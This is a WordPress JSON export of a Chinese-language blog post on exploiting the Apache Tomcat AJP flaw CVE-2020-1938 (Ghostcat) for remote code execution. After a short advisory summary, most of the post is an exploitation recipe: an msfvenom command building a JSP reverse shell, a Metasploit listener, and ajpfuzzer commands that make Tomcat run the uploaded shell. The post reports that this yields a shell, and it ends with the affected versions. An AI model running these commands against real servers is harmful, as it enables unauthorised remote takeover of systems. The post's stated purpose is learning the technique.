{"id":251,"date":"2020-02-21T23:30:10","date_gmt":"2020-02-21T15:30:10","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=251"},"modified":"2020-02-25T06:01:03","modified_gmt":"2020-02-24T22:01:03","slug":"cve-2020-1938-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e5%88%a9%e7%94%a8%e6%80%9d%e8%b7%af","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=251","title":{"rendered":"CVE-2020-1938 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u5229\u7528\u601d\u8def"},"content":{"rendered":"\n<p>2020\u5e742\u670820\u65e5\uff0c\u56fd\u5bb6\u4fe1\u606f\u5b89\u5168\u6f0f\u6d1e\u5171\u4eab\u5e73\u53f0\uff08CNVD\uff09\u53d1\u5e03\u5173\u4e8eApache Tomcat\u7684\u5b89\u5168\u516c\u544a\uff0cApache Tomcat\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff08CNVD-2020-10487\uff0c\u5bf9\u5e94CVE-2020-1938\uff09\u3002Tomcat AJP\u534f\u8bae\u7531\u4e8e\u5b58\u5728\u5b9e\u73b0\u7f3a\u9677\u5bfc\u81f4\u76f8\u5173\u53c2\u6570\u53ef\u63a7\uff0c\u653b\u51fb\u8005\u5229\u7528\u8be5\u6f0f\u6d1e\u53ef\u901a\u8fc7\u6784\u9020\u7279\u5b9a\u53c2\u6570\uff0c\u8bfb\u53d6\u670d\u52a1\u5668webapp\u4e0b\u7684\u4efb\u610f\u6587\u4ef6\u3002\u82e5\u670d\u52a1\u5668\u7aef\u540c\u65f6\u5b58\u5728\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\uff0c\u653b\u51fb\u8005\u53ef\u8fdb\u4e00\u6b65\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u7684\u6267\u884c\u3002<\/p>\n\n\n\n<p>\u8bfb\u53d6\u670d\u52a1\u5668webapp\u4e0b\u7684\u4efb\u610f\u6587\u4ef6\u7684POC\u7f51\u4e0a\u592a\u591a\u4e86\uff0c\u8fd9\u91cc\u5c31\u8df3\u8fc7\u3002\u5b66\u4e60\u4e00\u4e0b\u62ffshell\u7684\u601d\u8def\u3002<\/p>\n\n\n\n<p>\u524d\u63d0\u6761\u4ef6\uff1a<\/p>\n\n\n\n<p>\u80fd\u4e0a\u4f20jsp\u4e4b\u7c7b\u7684\u811a\u672c\u6587\u4ef6\u5230\u670d\u52a1\u5668(\u6587\u4ef6\u540d\u540e\u7f00\u4e0d\u9650)\uff0c\u6587\u4ef6\u76ee\u5f55\u77e5\u9053\uff0c\u4e14\u5728web\u76ee\u5f55\u4e0b\u3002<\/p>\n\n\n\n<p>1 \u51c6\u5907\u5229\u7528\u7684jsp\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p java\/jsp_shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f raw > shell.jsp <\/code><\/pre>\n\n\n\n<p>\u5047\u8bbeshell.jsp \u6587\u4ef6\u6210\u529f\u88ab\u6211\u4e0a\u4f20\u5230\u4e86 web\u76ee\u5f55\u7684 attachments \u6587\u4ef6\u5939\u4e0b\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"79\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2020\/02\/image-7.png\" alt=\"\" class=\"wp-image-252\"\/><\/figure>\n\n\n\n<p>\uff08\u5b9e\u6d4b\u5728jpg\u91cc\u85cf\u4ee3\u7801\uff0c\u540e\u7f00\u7528jpg\u4e0d\u884c\uff0c\u7528jsp\u5c31\u53ef\u4ee5\uff09<\/p>\n\n\n\n<p>2 msf\u76d1\u542cshell <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> msfconsole -q -x  'handler -H 0.0.0.0 -P 4444 -p linux\/x86\/shell\/reverse_tcp'<\/code><\/pre>\n\n\n\n<p>3 \u5229\u7528<\/p>\n\n\n\n<p>\u4e0b\u8f7d <a href=\"https:\/\/github.com\/doyensec\/ajpfuzzer\/releases\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"ajpfuzzer_v0.6.jar\uff08\u5728\u65b0\u7a97\u53e3\u6253\u5f00\uff09\">ajpfuzzer_v0.6.jar<\/a>  <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar .\\ajpfuzzer_v0.6.jar\nAJPFuzzer> connect 192.168.1.111 8009\nAJPFuzzer\/192.168.1.111:8009> forwardrequest 2 \"HTTP\/1.1\" \"\/attachments\/shell.jsp\" 127.0.0.1 localhost porto 8009 false \"Cookie:AAAA=BBBB\" \"\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1228\" height=\"480\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2020\/02\/image-9.png\" alt=\"\" class=\"wp-image-256\"\/><\/figure>\n\n\n\n<p>\u83b7\u53d6\u4e86shell\u3002<br> \u539f\u56e0\u662f\uff1a\u5f53ajp URI\u8bbe\u7f6e\u4e3ajsp\u8def\u5f84\u65f6\uff0cTomcat\u4f1a\u8c03\u7528JspServlet\u7684service\u65b9\u6cd5\u5904\u7406\u3002<br> \u5177\u4f53\u8bf7\u53c2\u8003\u522b\u4eba\u7684\u5206\u6790\uff1a<\/p>\n\n\n\n<p><a href=\"https:\/\/mp.weixin.qq.com\/s\/v3EQw4xaE4QTbvEwkfHz9w\">https:\/\/mp.weixin.qq.com\/s\/v3EQw4xaE4QTbvEwkfHz9w<\/a><\/p>\n\n\n\n<p>\u5f71\u54cd\u8303\u56f4<br>\nApache Tomcat = 6<br>\n7 &lt;= Apache Tomcat &lt; 7.0.100<br>\n8 &lt;= Apache Tomcat &lt; 8.5.51<br>\n9 &lt;= Apache Tomcat &lt; 9.0.31<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2020\u5e742\u670820\u65e5\uff0c\u56fd\u5bb6\u4fe1\u606f\u5b89\u5168\u6f0f\u6d1e\u5171\u4eab\u5e73\u53f0\uff08CNVD\uff09\u53d1\u5e03\u5173\u4e8eApache Tomcat\u7684\u5b89\u5168\u516c\u544a\uff0cApache Tomcat\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff08CNVD-2020-10487\uff0c\u5bf9\u5e94CVE-2020-1938\uff09\u3002Tomcat AJP\u534f\u8bae\u7531\u4e8e\u5b58\u5728\u5b9e\u73b0\u7f3a\u9677\u5bfc\u81f4\u76f8\u5173\u53c2\u6570\u53ef\u63a7\uff0c\u653b\u51fb\u8005\u5229\u7528\u8be5\u6f0f\u6d1e\u53ef\u901a\u8fc7\u6784\u9020\u7279\u5b9a\u53c2\u6570\uff0c\u8bfb\u53d6\u670d\u52a1\u5668webapp\u4e0b\u7684\u4efb\u610f\u6587\u4ef6\u3002\u82e5\u670d\u52a1\u5668\u7aef\u540c\u65f6\u5b58\u5728\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\uff0c\u653b\u51fb\u8005\u53ef\u8fdb\u4e00\u6b65\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u7684\u6267\u884c\u3002 \u8bfb\u53d6\u670d\u52a1\u5668webapp\u4e0b\u7684\u4efb\u610f\u6587\u4ef6\u7684POC\u7f51\u4e0a\u592a\u591a\u4e86\uff0c\u8fd9\u91cc\u5c31\u8df3\u8fc7\u3002\u5b66\u4e60\u4e00\u4e0b\u62ffshell\u7684\u601d\u8def\u3002 \u524d\u63d0\u6761\u4ef6\uff1a \u80fd\u4e0a\u4f20jsp\u4e4b\u7c7b\u7684\u811a\u672c\u6587\u4ef6\u5230\u670d\u52a1\u5668(\u6587\u4ef6\u540d\u540e\u7f00\u4e0d\u9650)\uff0c\u6587\u4ef6\u76ee\u5f55\u77e5\u9053\uff0c\u4e14\u5728web\u76ee\u5f55\u4e0b\u3002 1 \u51c6\u5907\u5229\u7528\u7684jsp\u6587\u4ef6 \u5047\u8bbeshell.jsp \u6587\u4ef6\u6210\u529f\u88ab\u6211\u4e0a\u4f20\u5230\u4e86 web\u76ee\u5f55\u7684 attachments \u6587\u4ef6\u5939\u4e0b\u3002 \uff08\u5b9e\u6d4b\u5728jpg\u91cc\u85cf\u4ee3\u7801\uff0c\u540e\u7f00\u7528jpg\u4e0d\u884c\uff0c\u7528jsp\u5c31\u53ef\u4ee5\uff09 2 msf\u76d1\u542cshell 3 \u5229\u7528 \u4e0b\u8f7d ajpfuzzer_v0.6.jar \u83b7\u53d6\u4e86shell\u3002 \u539f\u56e0\u662f\uff1a\u5f53ajp URI\u8bbe\u7f6e\u4e3ajsp\u8def\u5f84\u65f6\uff0cTomcat\u4f1a\u8c03\u7528JspServlet\u7684service\u65b9\u6cd5\u5904\u7406\u3002 \u5177\u4f53\u8bf7\u53c2\u8003\u522b\u4eba\u7684\u5206\u6790\uff1a https:\/\/mp.weixin.qq.com\/s\/v3EQw4xaE4QTbvEwkfHz9w \u5f71\u54cd\u8303\u56f4 Apache Tomcat = 6 7 &lt;= Apache Tomcat &lt; 7.0.100 8 &lt;= Apache Tomcat &lt; 8.5.51 9 &lt;= Apache Tomcat &lt; 9.0.31<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/251"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=251"}],"version-history":[{"count":4,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/251\/revisions"}],"predecessor-version":[{"id":273,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/251\/revisions\/273"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=251"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=251"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=251"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}